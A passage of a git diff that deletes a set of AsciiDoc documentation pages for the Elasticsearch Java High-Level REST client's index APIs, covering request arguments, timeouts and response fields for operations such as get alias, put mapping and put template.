-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Indicates whether all of the nodes have acknowledged the request
-<2> Indicates whether the requisite number of shard copies were started for
-each shard in the index before timing out
diff --git a/docs/java-rest/high-level/indices/get_alias.asciidoc b/docs/java-rest/high-level/indices/get_alias.asciidoc
deleted file mode 100644
index c51f9fe5b95..00000000000
--- a/docs/java-rest/high-level/indices/get_alias.asciidoc
+++ /dev/null
@@ -1,85 +0,0 @@
---
-:api: get-alias
-:request: GetAliasesRequest
-:response: GetAliasesResponse
---
-
-[id="{upid}-{api}"]
-=== Get Alias API
-
-[id="{upid}-{api}-request"]
-==== Get Alias Request
-
-The Get Alias API uses +{request}+ as its request object.
-One or more aliases can be optionally provided either at construction
-time or later on through the relevant setter method.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-alias]
---------------------------------------------------
-<1> One or more aliases to retrieve
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-indices]
---------------------------------------------------
-<1> The index or indices that the alias is associated with
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-indicesOptions]
---------------------------------------------------
-<1> Setting `IndicesOptions` controls how unavailable indices are resolved and
-how wildcard expressions are expanded when looking for aliases that belong to
-specified indices.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-local]
---------------------------------------------------
-<1> The `local` flag (defaults to `false`) controls whether the aliases need
-to be looked up in the local cluster state or in the cluster state held by
-the elected master node
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Get Alias Response
-
-The returned +{response}+ allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Retrieves a map of indices and their aliases
-
-+{response}+ class contains information about errors if they occurred.
-This info could be in fields `error` or `exception` depends on a case.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response-error]
---------------------------------------------------
-<1> Client sets status to `NOT_FOUND` if at least one item of specified
-indices or aliases is not found. Otherwise it is `OK`.
-
-<2> If at least one item of specified indices isn't exist client sets
-`ElasticsearchException` and returns empty result.
-
-<3> If at least one item of specified aliases ins't exist client puts
-error description in `error` field and returns partial result if any
-of other patterns match.
-
-If user specified indices or aliases as regular expressions
-and nothing was found client returns `OK` status and no errors.
diff --git a/docs/java-rest/high-level/indices/get_field_mappings.asciidoc b/docs/java-rest/high-level/indices/get_field_mappings.asciidoc
deleted file mode 100644
index 4d8117c15fe..00000000000
--- a/docs/java-rest/high-level/indices/get_field_mappings.asciidoc
+++ /dev/null
@@ -1,60 +0,0 @@
---
-:api: get-field-mappings
-:request: GetFieldMappingsRequest
-:response: GetFieldMappingsResponse
---
-
-[id="{upid}-{api}"]
-=== Get Field Mappings API
-
-[id="{upid}-{api}-request"]
-==== Get Field Mappings Request
-
-A +{request}+ can have an optional list of indices, optional list of types and the list of fields:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> An empty request
-<2> Setting the indices to fetch mapping for
-<3> The fields to be returned
-
-==== Optional arguments
-The following arguments can also optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-indicesOptions]
---------------------------------------------------
-<1> Setting `IndicesOptions` controls how unavailable indices are resolved and
-how wildcard expressions are expanded
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-local]
---------------------------------------------------
-<1> deprecated:[7.8.0, This parameter is a no-op and field mappings are always retrieved locally]
-The `local` flag (defaults to `false`) controls whether the aliases need
-to be looked up in the local cluster state or in the cluster state held by
-the elected master node
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-
-==== Get Field Mappings Response
-
-The returned +{response}+ allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Returning all requested indices fields' mappings
-<2> Retrieving the mappings for a particular index
-<3> Getting the mappings metadata for the `message` field
-<4> Getting the full name of the field
-<5> Getting the mapping source of the field
-
diff --git a/docs/java-rest/high-level/indices/get_index.asciidoc b/docs/java-rest/high-level/indices/get_index.asciidoc
deleted file mode 100644
index 8698bff7d7c..00000000000
--- a/docs/java-rest/high-level/indices/get_index.asciidoc
+++ /dev/null
@@ -1,60 +0,0 @@
---
-:api: get-index
-:request: GetIndexRequest
-:response: GetIndexResponse
---
-
-[id="{upid}-{api}"]
-[[java-rest-high-get-index]]
-=== Get Index API
-
-[id="{upid}-{api}-request"]
-==== Get Index Request
-
-A +{request}+ requires one or more `index` arguments:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The index whose information we want to retrieve
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-includeDefaults]
---------------------------------------------------
-<1> If true, defaults will be returned for settings not explicitly set on the index
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-indicesOptions]
---------------------------------------------------
-<1> Setting `IndicesOptions` controls how unavailable indices are resolved and
-how wildcard expressions are expanded
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Get Index Response
-
-The returned +{response}+ allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Retrieve a Map of different types to `MappingMetadata` for `index`.
-<2> Retrieve a Map for the properties for document type `doc`.
-<3> Get the list of aliases for `index`.
-<4> Get the value for the setting string `index.number_of_shards` for `index`. If the setting was not explicitly
-specified but was part of the default settings (and includeDefault was `true`) then the default setting would be
-retrieved.
-<5> Retrieve all settings for `index`.
-<6> The `Settings` objects gives more flexibility. Here it is used to extract the setting `index.number_of_shards` as an
-integer.
-<7> Get the default setting `index.refresh_interval` (if `includeDefault` was set to `true`). If `includeDefault` was set
-to `false`, `getIndexResponse.defaultSettings()` will return an empty map.
\ No newline at end of file
diff --git a/docs/java-rest/high-level/indices/get_index_template.asciidoc b/docs/java-rest/high-level/indices/get_index_template.asciidoc
deleted file mode 100644
index 3ddbfc7e8c3..00000000000
--- a/docs/java-rest/high-level/indices/get_index_template.asciidoc
+++ /dev/null
@@ -1,43 +0,0 @@
---
-:api: get-index-templates-v2
-:request: GetIndexTemplateV2Request
-:response: GetIndexTemplatesV2Response
---
-
-[id="{upid}-{api}"]
-=== Get Composable Index Templates API
-
-The Get Index Templates API allows to retrieve information about one or more index templates.
-
-[id="{upid}-{api}-request"]
-==== Get Composable Index Templates Request
-
-A +{request}+ specifies one, or a wildcard expression of index template names
-to get. To return all index templates, omit the name altogether or use a value of `*`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> A single index template name
-<2> An index template name using wildcard
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-<2> Timeout to connect to the master node as a `String`
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Get Templates Response
-
-The returned +{response}+ consists a map of index template names and their corresponding configurations.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> A map of matching index templates names and the corresponding configurations
diff --git a/docs/java-rest/high-level/indices/get_mappings.asciidoc b/docs/java-rest/high-level/indices/get_mappings.asciidoc
deleted file mode 100644
index 516e0633f83..00000000000
--- a/docs/java-rest/high-level/indices/get_mappings.asciidoc
+++ /dev/null
@@ -1,51 +0,0 @@
---
-:api: get-mappings
-:request: GetMappingsRequest
-:response: GetMappingsResponse
---
-
-[id="{upid}-{api}"]
-=== Get Mappings API
-
-[id="{upid}-{api}-request"]
-==== Get Mappings Request
-
-A +{request}+ can have an optional list of indices:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> An empty request that will return all indices
-<2> Setting the indices to fetch mapping for
-
-==== Optional arguments
-The following arguments can also optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-indicesOptions]
---------------------------------------------------
-<1> Options for expanding indices names
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Get Mappings Response
-
-The returned +{response}+ allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Returning all indices' mappings
-<2> Retrieving the mappings for a particular index
-<3> Getting the mappings as a Java Map
diff --git a/docs/java-rest/high-level/indices/get_settings.asciidoc b/docs/java-rest/high-level/indices/get_settings.asciidoc
deleted file mode 100644
index d0d30f25728..00000000000
--- a/docs/java-rest/high-level/indices/get_settings.asciidoc
+++ /dev/null
@@ -1,67 +0,0 @@
---
-:api: get-settings
-:request: GetSettingsRequest
-:response: GetSettingsResponse
---
-
-[id="{upid}-{api}"]
-=== Get Settings API
-
-[id="{upid}-{api}-request"]
-==== Get Settings Request
-
-A +{request}+ requires one or more `index` arguments:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The index whose settings we should retrieve
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-names]
---------------------------------------------------
-<1> One or more settings that be the only settings retrieved.  If unset, all settings will be retrieved
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-include-defaults]
---------------------------------------------------
-<1> If true, defaults will be returned for settings not explicitly set on the index
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-indicesOptions]
---------------------------------------------------
-<1> Setting `IndicesOptions` controls how unavailable indices are resolved and
-how wildcard expressions are expanded
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Get Settings Response
-
-The returned +{response}+ allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> We can retrieve the setting value for a particular index directly from the response as a string
-<2> We can also retrieve the Settings object for a particular index for further examination
-<3> The returned Settings object provides convenience methods for non String types
-
-If the `includeDefaults` flag was set to true in the +{request}+ the
-behavior of +{response}+ will differ somewhat.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-defaults-response]
---------------------------------------------------
-<1> Individual default setting values may be retrieved directly from the +{response}+
-<2> We may retrieve a Settings object for an index that contains those settings with default values
diff --git a/docs/java-rest/high-level/indices/get_templates.asciidoc b/docs/java-rest/high-level/indices/get_templates.asciidoc
deleted file mode 100644
index 07460a64a64..00000000000
--- a/docs/java-rest/high-level/indices/get_templates.asciidoc
+++ /dev/null
@@ -1,43 +0,0 @@
---
-:api: get-templates
-:request: GetIndexTemplatesRequest
-:response: GetIndexTemplatesResponse
---
-
-[id="{upid}-{api}"]
-=== Get Templates API
-
-The Get Templates API allows to retrieve a list of index templates by name.
-
-[id="{upid}-{api}-request"]
-==== Get Index Templates Request
-
-A +{request}+ specifies one or several names of the index templates to get.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> A single index template name
-<2> Multiple index template names
-<3> An index template name using wildcard
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-<2> Timeout to connect to the master node as a `String`
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Get Templates Response
-
-The returned +{response}+ consists a list of matching index templates.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> A list of matching index templates
\ No newline at end of file
diff --git a/docs/java-rest/high-level/indices/indices_exists.asciidoc b/docs/java-rest/high-level/indices/indices_exists.asciidoc
deleted file mode 100644
index a830ab54d3b..00000000000
--- a/docs/java-rest/high-level/indices/indices_exists.asciidoc
+++ /dev/null
@@ -1,38 +0,0 @@
---
-:api: indices-exists
-:request: GetIndexRequest
-:response: boolean
---
-
-[id="{upid}-{api}"]
-=== Index Exists API
-
-[id="{upid}-{api}-request"]
-==== Index Exists Request
-
-The high-level REST client uses a +{request}+ for Index Exists API. The index name (or indices' names) are required.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Index
-
-[[java-rest-high-indices-exists-optional-args]]
-==== Optional arguments
-Index exists API also accepts following optional arguments, through a +{request}+:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-optionals]
---------------------------------------------------
-<1> Whether to return local information or retrieve the state from master node
-<2> Return result in a format suitable for humans
-<3> Whether to return all default setting for each of the indices
-<4> Controls how unavailable indices are resolved and how wildcard expressions are expanded
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Response
-The response is a +{response}+ value, indicating whether the index (or indices) exist.
diff --git a/docs/java-rest/high-level/indices/open_index.asciidoc b/docs/java-rest/high-level/indices/open_index.asciidoc
deleted file mode 100644
index 84f038e154a..00000000000
--- a/docs/java-rest/high-level/indices/open_index.asciidoc
+++ /dev/null
@@ -1,70 +0,0 @@
---
-:api: open-index
-:request: OpenIndexRequest
-:response: OpenIndexResponse
---
-
-[id="{upid}-{api}"]
-=== Open Index API
-
-[id="{upid}-{api}-request"]
-==== Open Index Request
-
-An +{request}+ requires an `index` argument:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The index to open
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-timeout]
---------------------------------------------------
-<1> Timeout to wait for the all the nodes to acknowledge the index is opened
-as a `TimeValue`
-<2> Timeout to wait for the all the nodes to acknowledge the index is opened
-as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-<2> Timeout to connect to the master node as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-waitForActiveShards]
---------------------------------------------------
-<1> The number of active shard copies to wait for before the open index API
-returns a response, as an `int`
-<2> The number of active shard copies to wait for before  the open index API
-returns a response, as an `ActiveShardCount`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-indicesOptions]
---------------------------------------------------
-<1> Setting `IndicesOptions` controls how unavailable indices are resolved and
-how wildcard expressions are expanded
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Open Index Response
-
-The returned +{response}+ allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Indicates whether all of the nodes have acknowledged the request
-<2> Indicates whether the requisite number of shard copies were started for
-each shard in the index before timing out
diff --git a/docs/java-rest/high-level/indices/put_index_template.asciidoc b/docs/java-rest/high-level/indices/put_index_template.asciidoc
deleted file mode 100644
index 9a1748da0fe..00000000000
--- a/docs/java-rest/high-level/indices/put_index_template.asciidoc
+++ /dev/null
@@ -1,120 +0,0 @@
---
-:api: put-index-template-v2
-:request: PutIndexTemplateV2Request
-:response: AcknowledgedResponse
---
-
-[id="{upid}-{api}"]
-=== Put Composable Index Template API
-
-[id="{upid}-{api}-request"]
-==== Put Composable Index Template Request
-
-A +{request}+ specifies the `name` of a template and the index template configuration
-which consists of the `patterns` that control whether the template should be applied
-to the new index, and the optional mappings, settings and aliases configuration.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The name of the template
-<2> The index template configuration that specifies the index name patterns this template will match
-
-==== Settings
-The settings of the template will be applied to the new index whose name matches the
-template's patterns.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-settings]
---------------------------------------------------
-<1> Settings for this template
-<2> Configure the settings on the template building block
-<3> Create the IndexTemplateV2 object that configures the index template to apply the defined template to indices matching the patterns
-
-==== Mappings
-The mapping of the template will be applied to the new index whose name matches the
-template's patterns.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-mappings-json]
---------------------------------------------------
-<1> The mapping, provided as a JSON string
-<2> Configure the mapping on the template building block
-
-==== Aliases
-The aliases of the template will define aliasing to the index whose name matches the
-template's patterns. A placeholder `{index}` can be used in an alias of a template.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-aliases]
---------------------------------------------------
-<1> The alias to define
-<2> The alias to define with placeholder
-<3> Configure the aliases on the template building block
-
-==== Component templates
-Component templates can be used as building blocks for specifying mappings, settings or aliases
-configurations, but they don't apply to indices themselves. To be applied to an index, the
-component templates must be specified in the `componentTemplates` list of the `IndexTemplateV2`
-index template definition object. The order in which they are specified in the list is the order
-in which the component templates are applied.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-component-template]
---------------------------------------------------
-<1> The component template used by this index template
-
-==== Priority
-In case multiple templates match an index, the priority of matching templates determines
-the index template which will be applied.
-Index templates with higher priority "win" over index templates with lower priority.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-priority]
---------------------------------------------------
-<1> The priority of the template
-
-==== Version
-A template can optionally specify a version number which can be used to simplify template
-management by external systems.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-version]
---------------------------------------------------
-<1> The version number of the template
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-create]
---------------------------------------------------
-<1> To force to only create a new template; do not overwrite the existing template
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Put Composable Index Template Response
-
-The returned +{response}+ allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Indicates whether all of the nodes have acknowledged the request
diff --git a/docs/java-rest/high-level/indices/put_mapping.asciidoc b/docs/java-rest/high-level/indices/put_mapping.asciidoc
deleted file mode 100644
index 971ad52d62b..00000000000
--- a/docs/java-rest/high-level/indices/put_mapping.asciidoc
+++ /dev/null
@@ -1,75 +0,0 @@
---
-:api: put-mapping
-:request: PutMappingRequest
-:response: PutMappingResponse
---
-
-[id="{upid}-{api}"]
-=== Put Mapping API
-
-[id="{upid}-{api}-request"]
-==== Put Mapping Request
-
-A +{request}+ requires an `index` argument:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The index to add the mapping to
-
-==== Mapping source
-A description of the fields to create on the mapping; if not defined, the mapping will default to empty.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-source]
---------------------------------------------------
-<1> Mapping source provided as a `String`
-
-==== Providing the mapping source
-The mapping source can be provided in different ways in addition to
-the `String` example shown above:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-map]
---------------------------------------------------
-<1> Mapping source provided as a `Map` which gets automatically converted
-to JSON format
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-xcontent]
---------------------------------------------------
-<1> Mapping source provided as an `XContentBuilder` object, the Elasticsearch
-built-in helpers to generate JSON content
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-timeout]
---------------------------------------------------
-<1> Timeout to wait for the all the nodes to acknowledge the index creation as a `TimeValue`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Put Mapping Response
-
-The returned +{response}+ allows to retrieve information about the executed
- operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Indicates whether all of the nodes have acknowledged the request
diff --git a/docs/java-rest/high-level/indices/put_settings.asciidoc b/docs/java-rest/high-level/indices/put_settings.asciidoc
deleted file mode 100644
index f798482bfdd..00000000000
--- a/docs/java-rest/high-level/indices/put_settings.asciidoc
+++ /dev/null
@@ -1,106 +0,0 @@
---
-:api: indices-put-settings
-:request: UpdateSettingsRequest
-:response: UpdateSettingsResponse
---
-
-[id="{upid}-{api}"]
-=== Update Indices Settings API
-
-The Update Indices Settings API allows to change specific index level settings.
-
-[id="{upid}-{api}-request"]
-==== Update Indices Settings Request
-
-An +{request}+:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Update settings for one index
-<2> Update settings for multiple indices
-<3> Update settings for all indices
-
-==== Indices Settings
-At least one setting to be updated must be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-create-settings]
---------------------------------------------------
-<1> Sets the index settings to be applied
-
-==== Providing the Settings
-The settings to be applied can be provided in different ways:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-create-settings]
---------------------------------------------------
-<1> Creates a setting as `Settings`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-settings-builder]
---------------------------------------------------
-<1> Settings provided as `Settings.Builder`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-settings-source]
---------------------------------------------------
-<1> Settings provided as `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-settings-map]
---------------------------------------------------
-<1> Settings provided as a `Map`
-
-==== Optional Arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-preserveExisting]
---------------------------------------------------
-<1> Whether to update existing settings. If set to `true` existing settings
-on an index remain unchanged, the default is `false`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-timeout]
---------------------------------------------------
-<1> Timeout to wait for the all the nodes to acknowledge the new setting
-as a `TimeValue`
-<2> Timeout to wait for the all the nodes to acknowledge the new setting
-as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-<2> Timeout to connect to the master node as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-indicesOptions]
---------------------------------------------------
-<1> Setting `IndicesOptions` controls how unavailable indices are resolved and
-how wildcard expressions are expanded
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Update Indices Settings Response
-
-The returned +{response}+ allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Indicates whether all of the nodes have acknowledged the request
\ No newline at end of file
diff --git a/docs/java-rest/high-level/indices/put_template.asciidoc b/docs/java-rest/high-level/indices/put_template.asciidoc
deleted file mode 100644
index 3e395430873..00000000000
--- a/docs/java-rest/high-level/indices/put_template.asciidoc
+++ /dev/null
@@ -1,132 +0,0 @@
---
-:api: put-template
-:request: PutIndexTemplateRequest
-:response: PutIndexTemplateResponse
---
-
-[id="{upid}-{api}"]
-=== Put Template API
-
-[id="{upid}-{api}-request"]
-==== Put Index Template Request
-
-A +{request}+ specifies the `name` of a template and `patterns`
-which controls whether the template should be applied to the new index.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The name of the template
-<2> The patterns of the template
-
-==== Settings
-The settings of the template will be applied to the new index whose name matches the
-template's patterns.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-settings]
---------------------------------------------------
-<1> Settings for this template
-
-[[java-rest-high-put-template-request-mappings]]
-==== Mappings
-The mapping of the template will be applied to the new index whose name matches the
-template's patterns.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-mappings-json]
---------------------------------------------------
-<1> The mapping, provided as a JSON string
-
-The mapping source can be provided in different ways in addition to the
-`String` example shown above:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-mappings-map]
---------------------------------------------------
-<1> Mapping source provided as a `Map` which gets automatically converted
-to JSON format
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-mappings-xcontent]
---------------------------------------------------
-<1> Mapping source provided as an `XContentBuilder` object, the Elasticsearch
-built-in helpers to generate JSON content
-
-==== Aliases
-The aliases of the template will define aliasing to the index whose name matches the
-template's patterns. A placeholder `{index}` can be used in an alias of a template.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-aliases]
---------------------------------------------------
-<1> The alias to define
-<2> The alias to define with placeholder
-
-==== Order
-In case multiple templates match an index, the orders of matching templates determine
-the sequence that settings, mappings, and alias of each matching template is applied.
-Templates with lower orders are applied first, and higher orders override them.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-order]
---------------------------------------------------
-<1> The order of the template
-
-==== Version
-A template can optionally specify a version number which can be used to simplify template
-management by external systems.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-version]
---------------------------------------------------
-<1> The version number of the template
-
-==== Providing the whole source
-The whole source including all of its sections (mappings, settings and aliases)
-can also be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-whole-source]
---------------------------------------------------
-<1> The source provided as a JSON string. It can also be provided as a `Map`
-or an `XContentBuilder`.
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-create]
---------------------------------------------------
-<1> To force to only create a new template; do not overwrite the existing template
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-<2> Timeout to connect to the master node as a `String`
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Put Index Template Response
-
-The returned +{response}+ allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
